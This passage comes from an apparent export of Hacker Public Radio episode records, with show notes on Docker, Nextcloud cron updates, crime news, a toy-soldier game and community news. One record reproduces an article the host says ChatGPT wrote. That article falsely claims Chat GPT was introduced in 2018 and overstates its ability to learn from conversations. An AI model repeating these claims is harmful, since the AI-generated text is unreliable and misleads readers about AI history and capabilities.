                                                            \n","hostid":318,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Firefox, Extensions, Mobile, Android, Privacy, vim","version":0,"downloads":0,"valid":1}, {"id":3863,"date":"2023-05-24","title":"HPR episode about ChatGPT produced by ChatGPT","duration":553,"summary":"In this article I gave ChatGPT a prompt and it produced an HPR episode about ChatGPT","notes":"

                                                            Introduction:

                                                            \n

                                                            This is part 2 of my Chat GPT episode. (For part 1 refer to\nHPR3853)

                                                            \n

                                                            Incidentally I was quite surprised how long it took me to pull\ntogether part 1. This was primarily because I had to do all the work\ncreating the show notes. Part 2 should be a lot quicker since most of\nthe work including formatting the article in markdown was done by\nChatGPT.

                                                            \n

                                                            The only change I made to the episode created by ChatGPT was to\ncorrect a minor markdown formatting error in the OpenAI link at the\nbottom of the article.

                                                            \n

                                                            The following\narticle was produced by ChatGPT

                                                            \n

                                                            It was produced from the following prompt. The prompt itself was\nmostly written by ChatGPT with minimal input from myself. The prompt\ntook me 10 minutes to produce. Refer to my previous episode HPR3853.

                                                            \n

                                                            Prompt used to create HPR\nepisode:

                                                            \n
                                                              \n
                                                            • Create a Hacker Public Radio podcast episode exploring the\nhistory and applications of Chat GPT, an artificial intelligence\nlanguage model developed by OpenAI. Chat GPT has become increasingly\npopular due to its ability to understand and generate human-like text,\nand its applications span a wide range of industries and\nfields.

                                                            • \n
                                                            • In this episode, we will dive into the development of Chat GPT,\nincluding who created it and when. We will explore the technology behind\nit and how it has evolved over time.

                                                            • \n
                                                            • We will also provide clear and concise examples of how Chat GPT\ncan be used in various industries and fields, such as customer service,\ncontent creation, and chatbots. For example, Chat GPT can be used to\ngenerate personalized responses to customer inquiries in real-time,\ncreate high-quality content for websites and social media platforms, and\npower chatbots that can assist with a range of tasks.

                                                            • \n
                                                            • Additionally, we will highlight the benefits and limitations of\nusing Chat GPT, including its ability to learn and adapt to user inputs\nand the potential ethical concerns surrounding its use. As Chat GPT\ncontinues to grow in popularity, it is important to consider the\nimplications of using AI technology that can generate human-like text,\nsuch as the potential for bias and misinformation.

                                                            • \n
                                                            • To provide listeners with more information, we will include\nrelevant web links, such as the official OpenAI website and articles\nabout the latest developments in Chat GPT technology.

                                                            • \n
                                                            • Provide real-world examples of how Chat GPT has been used in\nvarious industries and fields.

                                                            • \n
                                                            • Discuss the potential future applications of Chat GPT and where\nthe technology may be headed.

                                                            • \n
                                                            • Address any common misconceptions or concerns about the use of AI\nlanguage models like Chat GPT.

                                                            • \n
                                                            • This episode will cater to a general audience while also diving\ninto more technical details for listeners with Linux, IT, or programming\nexperience.

                                                            • \n
                                                            • The episode should be approximately 1000 words long.

                                                            • \n
                                                            • Format the article using markdown as required.

                                                            • \n
                                                            \nThe\nepisode created by ChatGPT all nicely formated in Markdown:\n
                                                            \n

                                                            HPR Episode: Exploring Chat\nGPT

                                                            \n

                                                            Introduction

                                                            \n

                                                            In recent years, artificial intelligence (AI) has become an\nincreasingly popular topic in various industries and fields. One such\nexample is Chat GPT, an AI language model developed by OpenAI. Chat GPT\nhas the ability to understand and generate human-like text, making it a\npowerful tool for customer service, content creation, and chatbots. In\nthis episode, we will dive into the history and applications of Chat\nGPT.

                                                            \n

                                                            History of Chat GPT

                                                            \n

                                                            Chat GPT was first introduced in 2018 by OpenAI. It is part of a\nseries of AI language models known as the GPT series, with \"GPT\"\nstanding for \"Generative Pre-trained Transformer.\" Chat GPT was\ndeveloped using a deep learning technique called a transformer neural\nnetwork, which allows it to process large amounts of text and generate\ncoherent responses.

                                                            \n

                                                            Applications of Chat GPT

                                                            \n

                                                            Customer Service

                                                            \n

                                                            Chat GPT can be used to generate personalized responses to customer\ninquiries in real-time. This can save companies time and money by\nautomating the customer service process. Chat GPT can also learn from\nprevious interactions to improve its responses over time.

                                                            \n

                                                            Content Creation

                                                            \n

                                                            Chat GPT can create high-quality content for websites and social\nmedia platforms. For example, it can be used to write product\ndescriptions, social media posts, and even entire articles.

                                                            \n

                                                            Chatbots

                                                            \n

                                                            Chat GPT can power chatbots that can assist with a range of tasks.\nFor example, it can be used to schedule appointments, answer common\nquestions, and even provide emotional support.

                                                            \n

                                                            Benefits and Limitations\nof Chat GPT

                                                            \n

                                                            Benefits

                                                            \n

                                                            One of the main benefits of Chat GPT is its ability to learn and\nadapt to user inputs. This allows it to generate personalized responses\nthat are tailored to each individual user. Chat GPT can also process\nlarge amounts of text quickly, making it a useful tool for companies\nthat need to generate a lot of content.

                                                            \n

                                                            Limitations

                                                            \n

                                                            However, there are also some limitations to using Chat GPT. One\npotential concern is the potential for bias and misinformation. Since\nChat GPT learns from existing text, it may pick up biases or\ninaccuracies that exist in the data it is trained on. Additionally,\nthere is a risk that Chat GPT may generate inappropriate or offensive\nresponses if it is not properly monitored.

                                                            \n

                                                            Future Applications of Chat\nGPT

                                                            \n

                                                            Chat GPT has already been used in a variety of industries and fields,\nbut there is still a lot of potential for future applications. For\nexample, it could be used to power virtual assistants that are even more\nintelligent and personalized than current offerings. It could also be\nused to generate more sophisticated chatbots that can assist with\ncomplex tasks.

                                                            \n

                                                            Common Misconceptions and\nConcerns

                                                            \n

                                                            One common misconception about Chat GPT is that it is a threat to\nhuman jobs. While it is true that Chat GPT can automate certain tasks,\nit is unlikely to replace humans entirely. Instead, it is more likely to\naugment human abilities and make certain tasks more efficient.

                                                            \n

                                                            Another concern is the ethical implications of using AI language\nmodels like Chat GPT. It is important to ensure that the data used to\ntrain Chat GPT is diverse and free of biases. Additionally, it is\nimportant to ensure that Chat GPT is used responsibly and not used to\nspread misinformation or harm individuals.

                                                            \n

                                                            Conclusion

                                                            \n

                                                            Chat GPT is a powerful tool that has the potential to revolutionize\ncustomer service, content creation, and chatbots. While there are some\nlimitations and concerns associated with its use, the benefits of using\nChat GPT are clear. As the technology continues to evolve, it is\nimportant to consider the ethical implications and ensure that it is\nused responsibly.

                                                            \n

                                                            For more information on Chat GPT, visit the\nofficial OpenAI website at https://openai

                                                            \n","hostid":201,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"ChatGPT, AI, Artificial Inelegance","version":0,"downloads":0,"valid":1}, {"id":3864,"date":"2023-05-25","title":"2022-2023 New Years Show Episode 8","duration":7396,"summary":"2022 - 2023 new years show where people come together and chat","notes":"

                                                            Episode #8

                                                            \n\n

                                                            Thanks To:
                                                            \nMumble Server: Delwin
                                                            \nHPR Site/VPS: Joshua Knapp - AnHonestHost.com
                                                            \nStreams: Honkeymagoo
                                                            \nEtherPad: HonkeyMagoo
                                                            \nShownotes by: Sgoti and hplovecraft

                                                            \n","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"hpr,new years,community","version":0,"downloads":0,"valid":1}, {"id":3865,"date":"2023-05-26","title":"When did the Internet get so boring?","duration":1912,"summary":"Thoughts about the modern WWW","notes":"

                                                            You can run a Gopher or Gemini site on SDF

                                                            \n\n

                                                            You can see some Gemini sites on gem.sdf.org

                                                            \n\n","hostid":78,"series":99,"explicit":0,"license":"CC-BY-SA","tags":"gopher,gemini","version":0,"downloads":0,"valid":1}, {"id":3866,"date":"2023-05-29","title":"Introducing myself","duration":343,"summary":"I discovered HPR at FOSDEM 2023 and want to join the party","notes":"

                                                            Hello, my name is André Jaenisch. You can find myself online under\nRyuno-Ki as well.

                                                            \n

                                                            This is my first episode on Hacker Public Radio!
                                                            \nIt is recorded on 8th May 2023 using Audacity.
                                                            \nIt is published under a Creative Commons Attribution Share-Alike 4.0\nInternational License.

                                                            \n

                                                            Today I want to introduce myself.
                                                            \nI'm a web developer for ten years now and recently turned into a\nfreelancer.
                                                            \nMy area of expertise is with Frontend technologies, although I also know\nNode.js and Python. I taught myself these languages because my studies\nin mathematics did not cover them.
                                                            \nDuring my studies I switched to GNU/Linux. I started with Ubuntu but\ndiscovered that I prefer Rolling Release distributions more. So I jumped\nto Sabayon Linux which was based on Gentoo back then but pre-compiled\nthe binaries while staying compatible. Now they decided to turn into\nanother direction so I was looking for another home. I tried Gecko Linux\nbased on openSUSE for a while until they had bad news in the press. I'm\ncurrently running Kaisen Linux which is based on Debian Bookworm.

                                                            \n

                                                            Speaking of, I love to read. I have whole shelves filled with books\nhere.
                                                            \nThere is so much to learn from books even in the age of the Internet. I\nenjoy that they have a finite amount of content you can walk\nthrough.

                                                            \n

                                                            I learned about Hacker Public Radio at FOSDEM 2023. When I mentioned\nthat I have a RODE NT-USB microphone at home already I was encouraged to\ncontribute to the show. Now I have been listening to the podcast since\nthe beginning of the year and already heard some of the emergency shows.\nI noticed that the hackers on the show are mainly from the United\nStates. I hope you welcome people from other parts of the world as\nwell.

                                                            \n

                                                            I'm from Germany in Europe. A beautiful place to live and I bet as\ndiverse as in the States when it comes to the landscape. We have more\nthan Berlin and Bavaria here!

                                                            \n

                                                            I'm not quite sure what kind of content you would love to hear about.\nI have the requested topics page in front of me and could talk about\ndifferent items. For example, my first smartphone ever was a Firefox OS\n(I still have it. As well as a tablet).
                                                            \nI switched to Android with F-Droid when Mozilla was cancelling the\nproject. I'm running on a Fairphone here, which is a small Dutch\nmanufacturer that already managed to move the whole industry into a more\nsustainable direction. Because we produce lots of waste. So I could talk\nabout that.

                                                            \n

                                                            Or I could talk about building things for the web. Usually I blog\nabout that because I feel like text feels more natural to it. But then I\nsaw that some episodes contained code snippets in the show notes.

                                                            \n

                                                            I could talk about mathematics. We don't have enough podcasts about\nmath! My focus was on statistics and numerics so that might be\ninteresting?

                                                            \n

                                                            What I would love to hear more about is music theory. You see I\nhaven't learned to play an instrument in my life. Mainly because those\nare expensive. My personal taste goes more into heavy metal but I'm not\nsure whether you would call me a fan. What does make a metalhead anyway?\nBut in order to improve my game development having some sort of music\nand sound effects is important. So I was really enjoying the episode\n3792 on reading music sheets. I lend some books on the library to learn\nmore. These subjects weren't covered in depth in my school days!

                                                            \n

                                                            Another subject I would like to learn more about is electronics.\nEspecially repairing one's computers. Look, I'm using ThinkPads since\nyears now. I have a X250 (from FOSDEM) in current use. But I also have a\nX200 and a T520 gathering dust here. Mainly because something „broke”\nwith the hardware and I'm too afraid to crack them open.
                                                            \nThen there's a HP Pavilion standing under my desk to wait for repair.\nAnd even one of the old machines from the DOS era with an original\nLemmings installed! But I have no idea how to refurbish them into a\nbootable state. Do you have ideas?

                                                            \n

                                                            I'm sharing my homepage as well as\nmy e-mail address in\nthe show notes. I would really love to hear back from you.

                                                            \n

                                                            I feel like I already touched on different ideas today, but looking\nat the time the recording is rather short. Personally I can tune into\nepisodes up to 30 minutes best, so I will try to respect this threshold\nmyself.

                                                            \n","hostid":419,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"introduction","version":0,"downloads":0,"valid":1}, {"id":3867,"date":"2023-05-30","title":"Leap 15.4 Docker Install","duration":623,"summary":"Install Leap 15.4 and Docker on an Fuji SN900 Thin Client","notes":"

                                                            Hi Team hope you guys are great.
                                                            \nI did an upgrade from 15.3 to 15.4 in leap.

                                                            \n

                                                            Then I installed docker.

                                                            \n

                                                            The hello word container

                                                            \n

                                                            And then the ubuntu bash container.

                                                            \n

                                                            https://en.opensuse.org/Docker
                                                            \nhttps://github.com/nextcloud/docker
                                                            \nhttps://doc.owncloud.com/server/10.12/admin_manual/installation/docker/

                                                            \n","hostid":129,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"leap, docker, 15.3, 15.4, suse, ubuntu","version":0,"downloads":0,"valid":1}, {"id":3868,"date":"2023-05-31","title":"News.","duration":695,"summary":"Sgoti reports the recent FBI criminal reports and other news.","notes":"

                                                            News.

                                                            \n
                                                            \n
                                                              \n
                                                            • If you like it, help me name it.

                                                            • \n
                                                            • Article: Cambria\nCounty Woman Charged With Conspiracy To Commit Health Care\nFraud.
                                                              \n

                                                              \n
                                                                \n
                                                              • Author: U.S. Attorney's Office, Middle District of\nPennsylvania. (2023, May 11).
                                                                \n
                                                              • \n
                                                              • The United States Attorney’s Office for the Middle District of\nPennsylvania announced that Florentina Mayko, age 39, of Cambria County,\nPennsylvania, was charged by criminal information with one count of\nconspiracy to commit health care fraud for defrauding Medicare and the\nU.S. Department of Health and Human Services between 2017 and\n2019.
                                                                \n
                                                              • \n
                                                            • \n
                                                            • Article: Congressman\nGeorge Santos Charged with Fraud, Money Laundering, Theft of Public\nFunds, and False Statements.
                                                              \n

                                                              \n
                                                                \n
                                                              • Author: U.S. Attorney's Office, Eastern District of\nNew York. (2023, May 10).
                                                                \n
                                                              • \n
                                                              • A 13-count indictment was unsealed today in the United States\nDistrict Court for the Eastern District of New York charging George\nAnthony Devolder Santos, better known as “George Santos,” a United\nStates Congressman representing the Third District of New York, with\nseven counts of wire fraud, three counts of money laundering, one count\nof theft of public funds, and two counts of making materially false\nstatements to the House of Representatives.
                                                                \n
                                                              • \n
                                                            • \n
                                                            • Article: New York Man\nAdmits Credit Card Fraud.
                                                              \n

                                                              \n
                                                                \n
                                                              • Author: U.S. Attorney's Office, District of New\nJersey. (2023, May 10).
                                                                \n
                                                              • \n
                                                              • During 2015, Lourenco opened 23 credit cards using the identities of\nthree victims he had befriended, two of whom were senior citizens.\nLourenco’s victims did not know he was using their identities to obtain\nthe credit cards, nor did they authorize Lourenco to obtain the credit\ncards. Lourenco used the 23 credit cards to make more than $423,000 in\nunauthorized purchases. He also used the debit card for a joint bank\naccount belonging to two of the victims to make an additional $57,000 in\nunauthorized charges. Lourenco admitted that he knew at least one of his\nvictims was a vulnerable victim when he used the victim’s identity to\ncommit his crime.
                                                                \n
                                                              • \n
                                                            • \n
                                                            • Article: Okmulgee\nCounty Resident Sentenced For Brutal Murder.
                                                              \n

                                                              \n
                                                                \n
                                                              • Author: U.S. Attorney's Office, Eastern District of\nOklahoma. (2023, May 9).
                                                                \n
                                                              • \n
                                                              • Lewis pleaded guilty to Murder in Indian Country—Second Degree on\nSeptember 30, 2021. The investigation of the case revealed Lewis beat\nthe victim to death with a television and a coat rack after an evening\nof drinking at the victim’s apartment. Police investigating an Emergency\nMedical Services call discovered the victim lying on the floor of his\napartment and Lewis covered in the victim’s blood.
                                                                \n
                                                              • \n
                                                            • \n
                                                            • Article: California\nMan Convicted of Health Care Kickback Conspiracy.
                                                              \n

                                                              \n
                                                                \n
                                                              • Author: U.S. Attorney's Office, Eastern District of\nTexas. (2023, May 9).
                                                                \n
                                                              • \n
                                                              • According to information presented in court, Donofrio conspired with\nothers to pay and receive kickbacks in exchange for the referral of, and\narranging for, health care business, specifically pharmacogenetic (PGx)\ntests. Pharmacogenetic testing, also known as pharmacogenomic testing,\nis a type of genetic testing that identifies genetic variations that\naffect how an individual patient metabolizes certain drugs. The illegal\narrangement concerned the referral of PGx tests to clinical laboratories\nin Fountain Valley, California; Irvine, California; and San Diego,\nCalifornia. More than $28 million in illegal kickback payments were\nexchanged by those involved in the conspiracy.
                                                                \n
                                                              • \n
                                                            • \n
                                                            \n
                                                            \n\n","hostid":391,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Fraud, identity theft, murder, crime, conspiracy","version":0,"downloads":0,"valid":1}, {"id":3869,"date":"2023-06-01","title":"5 minute war game","duration":836,"summary":"I made up a game so I could play with my painted toy soldiers while waiting for code to compile.","notes":"

                                                            Grab some toy soldiers (Games Workshop, BattleTech, Lego, whatever), a handful of six-sided dice, and clear off a 20x20 cm space on your desk.

                                                            \n\n

                                                            Arrange the soldiers within the play area. Place 3d6 by each soldier.

                                                            \n\n

                                                            On its turn, a soldier may move or attack. Never both.

                                                            \n\n

                                                            To attack, remove 1d6 from a soldier's dice pool and roll it. Ranged attacks hit on 4 or greater. Melee attacks hit on 3 or greater.

                                                            \n\n

                                                            When a soldier takes damage, remove 1 die from its dice pool.

                                                            \n\n

                                                            When a soldier's dice pool is reduced by damage to 0 or less, tip it on its side to signify that it is dead.

                                                            \n\n

                                                            The last soldier or soldiers left standing when there are no dice in the play area wins.

                                                            \n\n

                                                            These rules are Creative Commons CC BY-SA 4.0, but you can also download them from Itch.io

                                                            \n","hostid":78,"series":95,"explicit":0,"license":"CC-BY-SA","tags":"game,rpg,wargame,board game,miniature,painting","version":0,"downloads":0,"valid":1}, {"id":3870,"date":"2023-06-02","title":"Texas","duration":765,"summary":"We wrap up our trip in Texas before heading back home to Michigan","notes":"

                                                            Our stay in Presidio was a nice one, and we enjoyed the companionship\nat the RV park. This gave us access to the Big Bend Ranch State Park,\nand we had a few good outings there. But we wanted to visit the Big Bend\nNational Park, which was not as reachable as we would like, so we booked\na few days in Alpine, Texas. This turned out to be fortuitous for an\nimportant repair. And after seeing the National Park it was time to head\nback to Michigan. We had a long but very nice trip, but as always at the\nend of a trip we look forward to being back in our home and sleeping in\nour bed.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":119,"explicit":0,"license":"CC-BY-SA","tags":"Travel, RV life, Texas, Presidio, Alpine","version":0,"downloads":0,"valid":1}, {"id":3871,"date":"2023-06-05","title":"HPR Community News for May 2023","duration":5632,"summary":"HPR Volunteers Rhon, Dave, Reto and Ken talk about shows released and comments posted in May 2023","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new host:
                                                            \n\n Ryuno-Ki.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            3846Mon2023-05-01HPR Community News for April 2023HPR Volunteers
                                                            3847Tue2023-05-02All about SynchrotronsClinton Roy
                                                            3848Wed2023-05-03Editing Thunderbird email filters using vim.Some Guy On The Internet
                                                            3849Thu2023-05-04trouble shootingBrian in Ohio
                                                            3850Fri2023-05-05New Mexico 2Ahuka
                                                            3851Mon2023-05-08Firefox extensionsKen Fallon
                                                            3852Tue2023-05-09UDM ubiquiti Setup for 2023operat0r
                                                            3853Wed2023-05-10Creating a Prompt for ChatGPT to generate an HPR showMrX
                                                            3854Thu2023-05-112022-2023 New Years Show Episode 7HPR Volunteers
                                                            3855Fri2023-05-12SSH (or OpenSSH) Escape SequencesClaudio Miranda
                                                            3856Mon2023-05-15Painting toy soldiersKlaatu
                                                            3857Tue2023-05-16Yesterday I saw a solar flareAndrew Conway
                                                            3858Wed2023-05-17The Oh No! News.Some Guy On The Internet
                                                            3859Thu2023-05-18My Live in DevicesJWP
                                                            3860Fri2023-05-19Civilization IIAhuka
                                                            3861Mon2023-05-22How To find Things on your home NetworkJWP
                                                            3862Tue2023-05-23Firefox ExtensionsArcher72
                                                            3863Wed2023-05-24HPR episode about ChatGPT produced by ChatGPTMrX
                                                            3864Thu2023-05-252022-2023 New Years Show Episode 8HPR Volunteers
                                                            3865Fri2023-05-26When did the Internet get so boring?Klaatu
                                                            3866Mon2023-05-29Introducing myselfRyuno-Ki
                                                            3867Tue2023-05-30Leap 15.4 Docker InstallJWP
                                                            3868Wed2023-05-31News.Some Guy On The Internet
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 15 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 3 comments on\n3 previous shows:

                                                            \n
                                                              \n
                                                            • hpr3275\n(2021-02-19) \"D1 Mini Close Lid to Scan\"\nby Ken Fallon.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nKen Fallon on 2023-05-11:\n\"I need to put this on some Perfboard\"

                                                              \n
                                                            • hpr3538\n(2022-02-23) \"Installing the Tenacity audio editor\"\nby Archer72.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 3:\nArcher72 on 2023-05-15:\n\"My memory\"

                                                              \n
                                                            • hpr3816\n(2023-03-20) \"Post Apocalyptic 4s5 Battery Pack \"\nby Mechatroniac.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nReto on 2023-04-29:\n\"The podcast\"

                                                              \n
                                                            \n

                                                            This month's shows

                                                            \n

                                                            There are 12 comments on 10 of this month's shows:

                                                            \n\n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2023-May/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n

                                                            Server move

                                                            \n

                                                            We are currently in the process of moving the HPR server. A server\nhas been set up on Amazon AWS, and we are currently setting up a copy of\nthe database, mail system and Mailman mailing list service.\nThe Gitea Git repository has already been moved and is in\nuse. The static site created by rho`n is being set up to\nprovide the main HPR website. Work is being done to provide the\ninteractive facilities that need the database, such as show and comment\nsubmission.

                                                            \n

                                                            Contacting old hosts

                                                            \n

                                                            The rate of show submission is unusually low this year. The number of\nactive contributors is low too, with a small group of hosts keeping the\nHPR project from sinking below the waves.

                                                            \n

                                                            A question for the HPR Community - can we contact old hosts to ask\nthem to contribute again?

                                                            \nConversion\nof Windows-1252 characters to UTF-8 Unicode\n

                                                            As mentioned on the last Community News the Windows-1252\ncharacters (aka Latin1) in the database were converted to the\nUTF-8 Unicode format apparently without exceptions. If anyone finds any\nunexpected characters in episode titles, summaries, tags or notes from\nnow onwards please let us know and we'll fix them too!

                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":3872,"date":"2023-06-06","title":"Sgoti update with replies.","duration":1730,"summary":"Sgoti talks about the Oh No News and replies to a few HPR shows.","notes":"

                                                            hpr3865\n:: When did the Internet get so boring?
                                                            \n

                                                            \n

                                                            hpr3862\n:: Firefox Extensions
                                                            \n

                                                            \n

                                                            hpr3860\n:: Civilization II
                                                            \n

                                                            \n

                                                            hpr3857\n:: Yesterday I saw a solar flare
                                                            \n

                                                            \n

                                                            hpr3856\n:: Painting toy soldiers
                                                            \n

                                                            \n

                                                            hpr3851\n:: Firefox extensions
                                                            \n

                                                            \n

                                                            Oh\nNo News Update email
                                                            \n

                                                            \n","hostid":391,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Oh No News, Show Replies","version":0,"downloads":0,"valid":1}, {"id":3873,"date":"2023-06-07","title":"Nextcloud instance updating","duration":153,"summary":"Automatic updating of Nextcloud Installation","notes":"

                                                            Things about environment:

                                                            \n
                                                              \n
                                                            • Headless server
                                                            • \n
                                                            • Nextcloud On Fedora 38
                                                            • \n
                                                            • Apache Web Server
                                                            • \n
                                                            • Nextcloud runs as apache user
                                                            • \n
                                                            • Nextcloud installed in alternate directory\n/data/nextcloud
                                                            • \n
                                                            • Apps are being updated according to
                                                              \nhttp://hackerpublicradio.org/eps.php?id=3297
                                                              \nAutomatically Update Nextcloud Applications via Cron
                                                            • \n
                                                            \n
                                                            root@homeserver ~]# crontab -l -u apache\nMAILTO=NAME@domain.com\n# m h d m w\n# * * * * * command to be executed\n# - - - - -\n# | | | | |\n# | | | | +----- day of week (0 - 6) (Sunday=0)\n# | | | +------- month (1 - 12)\n# | | +--------- day of month (1 - 31)\n# | +----------- hour (0 - 23)\n# +------------- min (0 - 59)\n# m     h    dom mon dow command\n\n#Nextcloud\n#Cron Updates \n*/5 *   *   *   *   /usr/bin/php -f /data/nextcloud/cron.php >/dev/null 2>/dev/null\n#App Updates\n0   5   *   *   0   /usr/bin/php /data/nextcloud/occ app:update --all 2>&1\n#Update Next Cloud\n0   1   *   *   0   /usr/bin/php --define apc.enable_cli=1 /data/nextcloud/updater/updater.phar --no-interaction
                                                            \n","hostid":273,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Nextcloud,SysAdmin,Admin","version":0,"downloads":0,"valid":1}, {"id":3874,"date":"2023-06-08","title":"2022-2023 New Years Show Episode 9","duration":7380,"summary":"2022 - 2023 new years show where people come together and chat","notes":"

                                                            Episode #9

                                                            \n
                                                              \n
                                                            • wikipedia: MS-DOS\nis an operating system for x86-based personal computers mostly developed\nby Microsoft.
                                                            • \n
                                                            • freedos: FreeDOS is a\ncomplete, free, DOS-compatible operating system. While we provide some\nutilities, you should be able to run any program intended for\nMS-DOS.
                                                            • \n
                                                            • wikipedia: Linux\n(/ˈliːnʊks/ (listen) LEE-nuuks or /ˈlɪnʊks/ LIN-uuks) is a family of\nopen-source Unix-like operating systems based on the Linux kernel, an\noperating system kernel first released on September 17, 1991, by Linus\nTorvalds.
                                                            • \n
                                                            • wikipedia:\nToken Ring is a computer networking technology used to build local area\nnetworks. It was introduced by IBM in 1984, and standardized in 1989 as\nIEEE 802.5.
                                                            • \n
                                                            • wikipedia:\nThe BNC connector (initialism of \"Bayonet Neill–Concelman\") is a\nminiature quick connect/disconnect radio frequency connector used for\ncoaxial cable.
                                                            • \n
                                                            • wikipedia:\nGPRS core network.
                                                            • \n
                                                            • wikipedia:\nNovell, Inc. /noʊˈvɛl/ was an American software and services company\nheadquartered in Provo, Utah, that existed from 1980 until 2014.
                                                            • \n
                                                            • wikipedia:\nBITNET.
                                                            • \n
                                                            • wikipedia:\nDECnet.
                                                            • \n
                                                            • wikipedia:\n3Com.
                                                            • \n
                                                            • realtek: realtek.
                                                            • \n
                                                            • tp: TP-Link Vastly Expands\nSmart Home Lineup With Tapo Full Home Security Solutions, Tapo Robot\nVacuums and Various Matter Compatible Products.
                                                            • \n
                                                            • cisco: Cisco Systems, Inc.,\ncommonly known as Cisco, is an American-based multinational digital\ncommunications technology conglomerate corporation headquartered in San\nJose, California.
                                                            • \n
                                                            • wikipedia: The\nInternational Business Machines Corporation (IBM), nicknamed Big Blue,\nis an American multinational technology corporation headquartered in\nArmonk, New York, with operations in over 175 countries. It specializes\nin computer hardware, middleware and software and provides hosting and\nconsulting services in areas ranging from mainframe computers to\nnanotechnology.
                                                            • \n
                                                            • duckduckgo:\nBootleg stuff search.
                                                            • \n
                                                            • wikipedia:\nVM (often: VM/CMS) is a family of IBM virtual machine operating systems\nused on IBM mainframes System/370, System/390, zSeries, System z and\ncompatible systems, including the Hercules emulator for personal\ncomputers.
                                                            • \n
                                                            • wikipedia:\nDisk partitioning or disk slicing is the creation of one or more regions\non secondary storage, so that each region can be managed\nseparately.
                                                            • \n
                                                            • wikipedia: The\nIBM System/360 is a family of mainframe computer systems that was\nannounced by IBM on April 7, 1964, and delivered between 1965 and\n1978.
                                                            • \n
                                                            • wikipedia: The\nIBM System/370 (S/370) is a model range of IBM mainframe computers\nannounced on June 30, 1970, as the successors to the System/360\nfamily.
                                                            • \n
                                                            • cisco:\nWhat Is Routing?
                                                            • \n
                                                            • wikipedia:\nThe Internet protocol suite, commonly known as TCP/IP, is a framework\nfor organizing the set of communication protocols used in the Internet\nand similar computer networks according to functional criteria.
                                                            • \n
                                                            • wikipedia:\nThe Open Systems Interconnection protocols are a family of information\nexchange standards developed jointly by the ISO and the ITU-T. The\nstandardization process began in 1977.
                                                            • \n
                                                            • perl: Perl is a highly capable,\nfeature-rich programming language with over 30 years of\ndevelopment.
                                                            • \n
                                                            • wikipedia: An\nFTP server is computer software consisting of one or more programs that\ncan execute commands given by remote client(s) such as receiving,\nsending, deleting files, creating or removing directories, etc.
                                                            • \n
                                                            • wikipedia: The\nDefense Advanced Research Projects Agency (DARPA) is a research and\ndevelopment agency of the United States Department of Defense\nresponsible for the development of emerging technologies for use by the\nmilitary.
                                                            • \n
                                                            • wikipedia: The\nAdvanced Research Projects Agency Network (ARPANET) was the first\nwide-area packet-switched network with distributed control and one of\nthe first networks to implement the TCP/IP protocol suite.
                                                            • \n
                                                            • wikipedia: A\nmodulator-demodulator or modem is a computer hardware device that\nconverts data from a digital format into a format suitable for an analog\ntransmission medium such as telephone or radio.
                                                            • \n
                                                            • wikipedia: Telnet\n(short for \"teletype network\") is a client/server application protocol\nthat provides access to virtual terminals of remote systems on local\narea networks or the Internet.
                                                            • \n
                                                            • wikipedia:\nRemote Function Call is a proprietary SAP interface.
                                                            • \n
                                                            • icannwiki: BBN (Bolt,\nBeranek and Newman Inc.), now Raytheon BBN Technologies, is one of the\nleading Research and Development companies in the United States,\ndedicated to providing high-technology products and services to\nconsumers.
                                                            • \n
                                                            • wikipedia:\nA punched card (also punch card or punched-card) is a piece of stiff\npaper that holds digital data represented by the presence or absence of\nholes in predefined positions.
                                                            • \n
                                                            • wikipedia:\nPunched tape or perforated paper tape is a form of data storage that\nconsists of a long strip of paper in which holes are punched.
                                                            • \n
                                                            • wikipedia: A\nteleprinter (teletypewriter, teletype or TTY) is an electromechanical\ndevice that can be used to send and receive typed messages through\nvarious communications channels, in both point-to-point and\npoint-to-multipoint configurations.
                                                            • \n
                                                            • wikipedia:\nTeletype Model 33.
                                                            • \n
                                                            • wikipedia:\nTeletype Model 37.
                                                            • \n
